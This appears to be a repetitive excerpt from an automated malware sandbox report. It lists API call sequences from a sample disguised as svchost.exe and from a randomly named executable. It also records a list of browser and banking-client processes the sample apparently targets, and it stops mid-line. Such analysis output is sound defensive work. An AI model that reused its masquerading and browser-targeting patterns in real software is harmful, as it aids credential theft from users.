Source: C:\Windows\apppatch\svchost.exe	Code function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe\|opera.exe\|java.exe\|javaw.exe\|explorer.exe\|isclient.exe\|intpro.exe\|ipc_full.exe\|mnp.exe\|cbsmain.dll\|firefox.exe\|clmain.exe\|core.exe\|maxthon.exe\|avant.exe\|safari.exe\|svchost.exe\|chrome.exe\|notepad.exe\|rundll32.exe\|netscape.exe\|tbb-firefox.exe\|	2_2_02C86370
Source: C:\Windows\apppatch\svchost.exe	Code function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe\|opera.exe\|java.exe\|javaw.exe\|explorer.exe\|isclient.exe\|intpro.exe\|ipc_full.exe\|mnp.exe\|cbsmain.dll\|firefox.exe\|clmain.exe\|core.exe\|maxthon.exe\|avant.exe\|safari.exe\|svchost.exe\|chrome.exe\|notepad.exe\|rundll32.exe\|netscape.exe\|tbb-firefox.exe\|	2_2_02C86370
Source: C:\Windows\apppatch\svchost.exe	Code function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,InitializeCriticalSection,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,IsUserAnAdmin,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetHandleInformation,CreateThread,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \chrome.exe	2_2_02C85890
Source: C:\Windows\apppatch\svchost.exe	Code function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,InitializeCriticalSection,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,IsUserAnAdmin,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetHandleInformation,CreateThread,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \iexplore.exe	2_2_02C85890
Source: C:\Windows\apppatch\svchost.exe	Code function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,InitializeCriticalSection,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,IsUserAnAdmin,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetHandleInformation,CreateThread,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \firefox.exe	2_2_02C85890
Source: C:\Windows\apppatch\svchost.exe	Code function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,InitializeCriticalSection,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,IsUserAnAdmin,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetHandleInformation,CreateThread,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \tbb-firefox.exe	2_2_02C85890
Source: C:\Windows\apppatch\svchost.exe	Code function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,InitializeCriticalSection,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,IsUserAnAdmin,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetHandleInformation,CreateThread,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \chrome.exe	2_2_02C85890
Source: C:\Windows\apppatch\svchost.exe	Code function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,InitializeCriticalSection,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,IsUserAnAdmin,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetHandleInformation,CreateThread,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \chrome.exe	2_2_02C85890
Source: C:\Windows\apppatch\svchost.exe	Code function: memset,GetModuleFileNameA,InitializeCriticalSection,CreateMutexA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,IsUserAnAdmin,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,IsUserAnAdmin,IsUserAnAdmin,PathFindFileNameA,StrStrIA,IsUserAnAdmin,StrStrIA,IsUserAnAdmin,StrStrIA,CreateMutexA,GetLastError, iexplore.exe\|opera.exe\|java.exe\|javaw.exe\|explorer.exe\|isclient.exe\|intpro.exe\|ipc_full.exe\|mnp.exe\|cbsmain.dll\|firefox.exe\|clmain.exe\|core.exe\|maxthon.exe\|avant.exe\|safari.exe\|svchost.exe\|chrome.exe\|notepad.exe\|rundll32.exe\|netscape.exe\|tbb-firefox.exe\|	2_2_02C73510
Source: C:\Windows\apppatch\svchost.exe	Code function: memset,GetModuleFileNameA,InitializeCriticalSection,CreateMutexA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,IsUserAnAdmin,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,IsUserAnAdmin,IsUserAnAdmin,PathFindFileNameA,StrStrIA,IsUserAnAdmin,StrStrIA,IsUserAnAdmin,StrStrIA,CreateMutexA,GetLastError, iexplore.exe\|opera.exe\|java.exe\|javaw.exe\|explorer.exe\|isclient.exe\|intpro.exe\|ipc_full.exe\|mnp.exe\|cbsmain.dll\|firefox.exe\|clmain.exe\|core.exe\|maxthon.exe\|avant.exe\|safari.exe\|svchost.exe\|chrome.exe\|notepad.exe\|rundll32.exe\|netscape.exe\|tbb-firefox.exe\|	2_2_02C73510
Source: C:\Windows\apppatch\svchost.exe	Code function: memset,GetModuleFileNameA,InitializeCriticalSection,CreateMutexA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,IsUserAnAdmin,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,IsUserAnAdmin,IsUserAnAdmin,PathFindFileNameA,StrStrIA,IsUserAnAdmin,StrStrIA,IsUserAnAdmin,StrStrIA,CreateMutexA,GetLastError, iexplore.exe\|opera.exe\|java.exe\|javaw.exe\|explorer.exe\|isclient.exe\|intpro.exe\|ipc_full.exe\|mnp.exe\|cbsmain.dll\|firefox.exe\|clmain.exe\|core.exe\|maxthon.exe\|avant.exe\|safari.exe\|svchost.exe\|chrome.exe\|notepad.exe\|rundll32.exe\|netscape.exe\|tbb-firefox.exe\|	2_2_02C73510
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,InitializeCriticalSection,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetHandleInformation,CreateThread,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \chrome.exe	6_2_01255890
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,InitializeCriticalSection,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetHandleInformation,CreateThread,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \iexplore.exe	6_2_01255890
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,InitializeCriticalSection,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetHandleInformation,CreateThread,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \firefox.exe	6_2_01255890
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,InitializeCriticalSection,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetHandleInformation,CreateThread,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \tbb-firefox.exe	6_2_01255890
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,InitializeCriticalSection,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetHandleInformation,CreateThread,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \chrome.exe	6_2_01255890
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,InitializeCriticalSection,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleI